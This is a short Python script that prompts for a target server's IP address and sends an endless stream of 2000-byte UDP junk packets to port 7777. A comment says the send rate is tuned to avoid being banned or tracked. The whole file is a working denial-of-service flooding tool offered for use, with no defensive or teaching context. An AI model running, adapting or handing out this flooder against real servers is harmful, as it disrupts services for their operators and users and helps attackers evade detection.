import socket
import time

# Target server's IP address and port number
target_ip = input("目标服务器IP : ")
target_port = 7777

# Create a Socket object
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

# Construct the data packet
data = b"\xff"*2000  # Fake data packet, adjust size as needed

# Send the data packet
while True:
    sock.sendto(data, (target_ip, target_port))
    time.sleep(0.01)  # Control the sending rate to avoid being banned or tracked